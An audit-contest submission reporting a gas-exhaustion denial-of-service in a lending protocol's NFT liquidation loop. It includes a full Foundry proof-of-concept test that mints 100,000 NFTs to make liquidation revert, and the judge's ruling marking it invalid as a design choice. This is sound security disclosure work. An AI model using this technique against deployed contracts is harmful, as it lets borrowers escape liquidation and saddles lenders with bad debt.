Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Invalid

DoS Attack in LendingPool's finalizeLiquidation Function Prevents Liquidations

Summary

The finalizeLiquidation function in the LendingPool contract is vulnerable to a Denial of Service (DoS) attack. An attacker can prevent liquidations by depositing a large number of NFTs, causing the function to run out of gas when attempting to process the liquidation.

Vulnerability Details

The vulnerability exists in the finalizeLiquidation function where it loops through all NFTs owned by a user being liquidated:

function finalizeLiquidation(address userAddress) external nonReentrant onlyStabilityPool {
// Transfer NFTs to Stability Pool
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
uint256 tokenId = user.nftTokenIds[i];
user.depositedNFTs[tokenId] = false;
raacNFT.transferFrom(address(this), stabilityPool, tokenId);
}
}

The issue arises because:

  • There is no limit on how many NFTs a user can deposit

  • Each iteration of the loop performs an external call (transferFrom)

  • Gas costs increase linearly with the number of NFTs

  • The function will revert if it exceeds the block gas limit

PoC

In order to run the test you need to:

  1. Run foundryup to get the latest version of Foundry

  2. Install hardhat-foundry: npm install --save-dev @nomicfoundation/hardhat-foundry

  3. Import it in your Hardhat config: require("@nomicfoundation/hardhat-foundry");

  4. Make sure you've set the BASE_RPC_URL in the .env file or comment out the forking option in the hardhat config.

  5. Run npx hardhat init-foundry

  6. There is one file in the test folder that will throw an error during compilation so rename the file in test/unit/libraries/ReserveLibraryMock.sol to => ReserveLibraryMock.sol_broken so it doesn't get compiled anymore (we don't need it anyways).

  7. Create a new folder test/foundry

  8. Paste the below code into a new test file i.e.: FoundryTest.t.sol

  9. Run the test: forge test --mc FoundryTest -vvvv

⚠️ WARNING: This test creates 100,000 NFTs and can take several minutes to run. ⚠️

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {StabilityPool} from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import {crvUSDToken} from "../../contracts/mocks/core/tokens/crvUSDToken.sol";
import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";
import {RAACHousePrices} from "../../contracts/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "../../contracts/core/tokens/RAACNFT.sol";
import {RToken} from "../../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../../contracts/core/tokens/DebtToken.sol";
import {DEToken} from "../../contracts/core/tokens/DEToken.sol";
import {LendingPool} from "../../contracts/core/pools/LendingPool/LendingPool.sol";
import {RAACMinter, IRAACMinter} from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
import {PercentageMath} from "../../contracts/libraries/math/PercentageMath.sol";
import {ILendingPool} from "../../contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";
import {IStabilityPool} from "../../contracts/interfaces/core/pools/StabilityPool/IStabilityPool.sol";
import {WadRayMath} from "../../contracts/libraries/math/WadRayMath.sol";
import {stdError} from "forge-std/StdError.sol";
contract FoundryTest is Test {
using PercentageMath for uint256;
using WadRayMath for uint256;
StabilityPool public stabilityPool;
LendingPool public lendingPool;
RAACMinter public raacMinter;
crvUSDToken public crvusd;
RToken public rToken;
DEToken public deToken;
RAACToken public raacToken;
RAACNFT public raacNFT;
DebtToken public debtToken;
RAACHousePrices public raacHousePrices;
address public owner;
address public user1;
address public user2;
address public user3;
address public treasury;
uint256 public constant INITIAL_BALANCE = 1000e18;
uint256 public constant INITIAL_PRIME_RATE = 1e27;
uint256 constant INITIAL_BATCH_SIZE = 3;
uint256 constant HOUSE_PRICE = 100e18;
uint256 constant TOKEN_ID = 1;
function setUp() public {
// Setup accounts
owner = address(this);
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
treasury = makeAddr("treasury");
// Deploy base tokens
crvusd = new crvUSDToken(owner);
crvusd.setMinter(owner);
raacToken = new RAACToken(owner, 100, 50);
// Deploy price oracle and set oracle
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner);
// Set initial house prices
raacHousePrices.setHousePrice(TOKEN_ID, HOUSE_PRICE);
// Deploy NFT
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
// Deploy pool tokens
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
// Deploy pools
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
INITIAL_PRIME_RATE
);
stabilityPool = new StabilityPool(owner);
// this is needed otherwise lastEmissionUpdateTimestamp will underflow in the RAACMinter constructor
vm.warp(block.timestamp + 2 days);
// Deploy RAAC minter
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner);
// Setup cross-contract references
lendingPool.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
// Initialize Stability Pool
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvusd),
address(lendingPool)
);
// Setup permissions
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
// Mint initial tokens and setup approvals
_setupInitialBalancesAndAllowances();
}
function test_LiquidateDenialOfService() public {
address borrower = makeAddr("borrower");
uint256 NFT_COUNT = 100000;
uint256 CHUNK_SIZE = 100; // Process 100 NFTs at a time
uint256 newHousePrice = 1e18;
// setup many NFTs
vm.pauseGasMetering();
for (uint256 i = 0; i < NFT_COUNT; i++) {
raacHousePrices.setHousePrice(TOKEN_ID + i, newHousePrice);
}
// Setup borrower
crvusd.mint(borrower, newHousePrice * NFT_COUNT);
assertEq(crvusd.balanceOf(borrower), newHousePrice * NFT_COUNT);
// fill up the lending pool
crvusd.mint(address(user1), newHousePrice * NFT_COUNT);
vm.startPrank(user1);
crvusd.approve(address(lendingPool), newHousePrice * NFT_COUNT);
lendingPool.deposit(newHousePrice * NFT_COUNT);
vm.stopPrank();
// mint NFTs to borrower
vm.startPrank(borrower);
crvusd.approve(address(raacNFT), newHousePrice * NFT_COUNT);
// Process NFTs in chunks
for (uint256 chunk = 0; chunk < NFT_COUNT; chunk += CHUNK_SIZE) {
uint256 endIndex = chunk + CHUNK_SIZE;
if (endIndex > NFT_COUNT) {
endIndex = NFT_COUNT;
}
// Mint and deposit NFTs in this chunk
for (uint256 i = chunk; i < endIndex; i++) {
raacNFT.mint(TOKEN_ID + i, newHousePrice);
raacNFT.approve(address(lendingPool), TOKEN_ID + i);
lendingPool.depositNFT(TOKEN_ID + i);
}
}
vm.resumeGasMetering();
assertEq(raacNFT.balanceOf(address(lendingPool)), NFT_COUNT);
// borrow some amount to get liquidatable
lendingPool.borrow(newHousePrice * NFT_COUNT);
vm.stopPrank();
// liquidation gets initiated
lendingPool.initiateLiquidation(borrower);
assertEq(lendingPool.isUnderLiquidation(borrower), true);
// wait for the grace period to expire
vm.warp(lendingPool.liquidationStartTime(borrower) + lendingPool.liquidationGracePeriod() + 1 seconds);
// mint crvUSD to repay the debt directly to the stabilityPool
crvusd.mint(address(stabilityPool), type(uint128).max);
// EvmError: OutOfGas
vm.expectRevert(bytes(""));
stabilityPool.liquidateBorrower(borrower);
}
function _setupInitialBalancesAndAllowances() internal {
// Mint crvUSD to users
crvusd.mint(user1, INITIAL_BALANCE);
crvusd.mint(user2, INITIAL_BALANCE);
crvusd.mint(user3, INITIAL_BALANCE);
// Setup approvals for users
vm.startPrank(user1);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
vm.startPrank(user2);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
vm.startPrank(user3);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
}
}

Impact

If an attacker can permanently cause liquidations to revert or prevent themselves from being liquidated, this represents a critical danger to the solvency of many protocols as it allows bad debt to build up in the system. Several known attack paths have been found in audits of real-world protocols:

(1.)[https://solodit.cyfrin.io/issues/m-01-borrower-can-abuse-entermarkets-to-force-liquidator-can-pay-more-funds-code4rena-beta-finance-beta-finance-git]

(2.)[https://solodit.cyfrin.io/issues/liquidation-can-be-avoided-due-to-unbounded-position-list-openzeppelin-none-panoptic-audit-markdown]

(3.)[https://solodit.cyfrin.io/issues/m-03-potential-avoidance-of-liquidation-pashov-audit-group-none-sharwafinance-markdown]

(4.)[https://solodit.cyfrin.io/issues/m-05-possible-dos-when-calling-gammatrademarket_removeposition-will-cause-user-position-to-not-be-able-to-get-liquidated-code4rena-predy-predy-git]

Tools Used

  • Manual Review

  • Foundry

Recommendations

  • use a mapping or other data structure that prevents iterating over every position

  • set a max NFT amount a single user can deposit

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

LendingPool: Unbounded NFT array iteration in collateral valuation functions creates DoS risk, potentially blocking liquidations and critical operations

LightChaser L-36 and M-02 covers it.

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

LendingPool: Unbounded NFT array iteration in collateral valuation functions creates DoS risk, potentially blocking liquidations and critical operations

LightChaser L-36 and M-02 covers it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.